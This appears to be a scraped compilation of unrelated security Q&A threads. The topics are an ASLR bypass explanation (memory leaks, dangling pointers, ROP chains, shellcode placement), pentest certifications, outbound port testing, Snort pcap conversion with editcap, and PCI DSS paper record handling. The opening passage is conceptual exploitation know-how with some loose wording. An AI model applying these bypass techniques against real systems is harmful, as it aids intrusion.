However,  under Windows, ASLR enabled libraries will have a randomized memory space,  so the attacker won't know the memory address of the system() function,  and therefore cannot call it.  The idea behind ASLR is that it doesn't matter if you can control the EIP if you don't know where to jump to.
Being able to read the location of a region of randomized memory undermines the protection of ASLR,  because now you have a reliable jump location.  This can be accomplished though a wide variety of methods.  Using a buffer overflow to simply overwrite the null terminator and read past the end of an array has been used in pwn2own against IE.  But really the most common technique is using a Dangling Pointer which can be used to read/write or even execute a valid memory location despite ASLR.
Even with ASLR,  not every memory location is randomized.   In fact the executable binary has a predictable layout,  so you can use the executable against itself in a ROP Chain.  However sometimes it's difficult to find useful ROP gadgets, especially if the target binary is very small.  If you are unable to build a useful ROP Chain,  then a memory disclosure vulnerability,  such as a dangling pointer,  is a great method of attack.  It's important to note that ASLR only randomizes the location of the page (the first few bytes of the memory address.) If you can populate a region within this page with your shellcode then it may be possible to accurately execute your shellcode by using the leaked memory address as a base and then hopefully your shellcode is at some offset of this random location.
Using chains of memory manipulation vulnerabilities is unusually only possible inside a scripting environment, such as JavaScript.


OSCP certification for junior pen tester position any good? Currently finishing my degree in computer security and have a few years experience in IT support and want to get into a junior pen testing job or similar.

Would the OSCP certification do me any favours, does it carry any weight? Is it recognised by companies in the UK? From what I've read the OSCP seems to be the most enjoyable and actually involves using your brain while the others are mostly read book pick multiple choice question.

Really what else can I do to improve my chances of getting a job interview, I've got a home lab that I experiment with bar that and my degree iv not got experience.

Unfortunately in UK, most companies want you to have the local ones, CREST and CHECK, and of course SANS. OSCP doesn't sell as much as them and ISC or EC-Council.

My advice for you would be to first start with CEH, then GPEN and with a more experience, you can go for OSCP.

To be honest, OSCP is not an entry-level into the world of PT, I would first suggest you to practice all the Metasploitable, DVWA and those tutorials, get a couple of books like Metasploit: The Penetration Tester's Guide, Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide and most importantly, motivation, and practice.

Now, having these certifications is a plus, but when you get an interview, at let's say big 4, security boutiques, telcos and the like, the most important is for you to be able to communicate the issues with the client at all levels. The thing is, there is no real way to "learn" that. Apart from that, you need to have solid networking skills, understanding of OS, databases and how everything communicates, basic scripting and the like. A very simple question like:

  Let's suppose you're doing a PT, and in the middle of it, you trigger something, the exchange server crashes, client wants you to continue with the PT and meet the deadline but without touching the exchange server

The best for you would be to get a job as a network admin, (junior pentest opportunities are out there, but extremely hard to find) and most of these...well they won't teach you anything you cannot find on the internet, they will most likely never send you to meet with a client and discuss how you're going to scope a pentest and the approach you will take.

Good luck really! Try maybe working as a security consultant and talking with the guys that do PT and gain experience, it's a lot about self study.


How to scan allowed outbound (destination) ports on the local host? Without access to firewall rules, I want to scan allowed outbound (destination) ports on the local machine.

I would take too long to start a netcat listener for each of the destination ports on a remote host, to connect to, for testing.

Is there a smarter way, preferably using Bash scripting?

If you just care which ports are allowed as outgoing target on your machine just do a packet capture at the remote host to see which packets from your client reach the remote host. There does not need to be a listener there in order for the packet to arrive at the host, it only needs a listener in order to respond to the packet.


Snort: Cannot decode data link type 127 reading a pcapng file I've captured on my wifi some days ago and now I want snort to analyse the capture to detect any problem. However, when I run snort -l ./snort-log -b -c /etc/snort/snort.conf -r captura-analisar.pcapng it stops with

ERROR: Cannot decode data link type 127
Fatal Error, Quitting..

I guess this is happening because there is some encrypted 802.11 data in the file. Not all packets are encrypted though. If it is the case, how to set snort to ignore the encrypted data and analyse only the decrypted? Or if it isn't the case, what is the problem?

from what you described, I understood:

You already have PCAP files to analyse with Snort (so you are not running in live mode but reading back previously created captures). Therefore the switch -i does not apply in this case.
Snort aborts with the message: ERROR: Cannot decode data link type 127
When you mention "detect any problem", I assume you are specifically looking for malware communication (and not investigation network issues, eg. layer-2 issues with your Wifi!).

First, you need to remove radiotap link encapsulation by rewriting the layer-2 link type into something Snort can easily cope with, eg. link-type ether

For that you can use editcap tool from Wireshark project.

editcap captura-analisar.pcapng -T ether captura-1.pcap, where:

-T ether: sets the encapsulation type of the output file to ether.

By the way, if your version of Snort does not read PCAPNG files, you can also convert it with editcap adding parameter -F pcap

editcap captura-analisar.pcapng -F pcap -T ether captura-1.pcap

From now on you can run snort over your PCAPs files with a command such as:

snort -A console -k none -K none -c snort.conf -r captura-1.pcap

where:

-A: issues alerts to the console
-K: logging-mode, none will not create PCAPs from the alerts, while pcap will do so. Use accordingly.
-k: checksum mode, ignore checksum validation.
-c: your snort config file containing variables, pre-process options, rules.
-r: read PCAP. be aware of other options to read bunch of pcap files, such as --pcap-dir=/home/foo/pcaps or --pcap-list="foo1.pcap foo2.pcap foo3.pcap"

Does it make sense?

Kind regards
J.C.

editcap is part of Wireshark, see: https://www.wireshark.org/docs/wsug_html_chunked/AppToolseditcap.html

PS: you can inspect the properties of PCAP files with capinfos -M captura.pcap. This shows information on encapsulation, amount of packets captured, start/end date of capture, duration, etc.


PCI DSS compliant method to receive card data for a merchant with no electronic storage The merchant in question has no electronic cardholder data storage.

Currently they receive CHD (no CVV) in non-secure ways and store it on paper in order to execute payments via card-not-present POS transactions.

What is a possible solution to securely receive these PANs and details, considering they will store them physically according to requirement 9 of the PCI DSS?

Thanks for your answers.

The following a some best practices for storing paper with CHD in a compliant way. Note: this only addresses handling and storing the paper, not how the CHD is received in a "non-secure way."

Establish a record retention policy. The policy should state what is being stored, how it will be stored, how long it will be stored for, and the disposition of the paper at the end of the retention period. The policy should follow the DSS with regards to not storing CHD after authorization, cross cut shredding, etc.
Establish a record retention procedure. The procedure should outline the steps to follow to meet the requirements of the policy - particularly how the paper is to be handled and destroyed.
Establish a clean desk policy where papers with CHD cannot be left on the desk when a person is not at their desk.
Think through the entire lifetime of the paper with CHD - printing, movement, storage, sitting on desks, before authorization, after authorization, disposal, etc.
Operationally, here are some tips:

Have a locked cabinet with defined people with the key to the cabinet.
After authorization, black out the PAN with a thick magic marker. If the paper is no longer needed after authorization, shred it. If the paper is needed, store it in the locked cabinet. Sometimes people will even photocopy the paper after redaction (and shred the original) to fully get rid of PAN.
In the locked cabinet, have a tracking sheet to track when paper what put in and when it was removed and destroyed. I have seen it where one day's papers are in the same folder in the cabinet. That streamlines applying the record retention policy since all the employee needs to do is grab the aged-out folder and shred the contents.
If a third-party shredding company is used, you will need to assure that the shredding company is PCI compliant.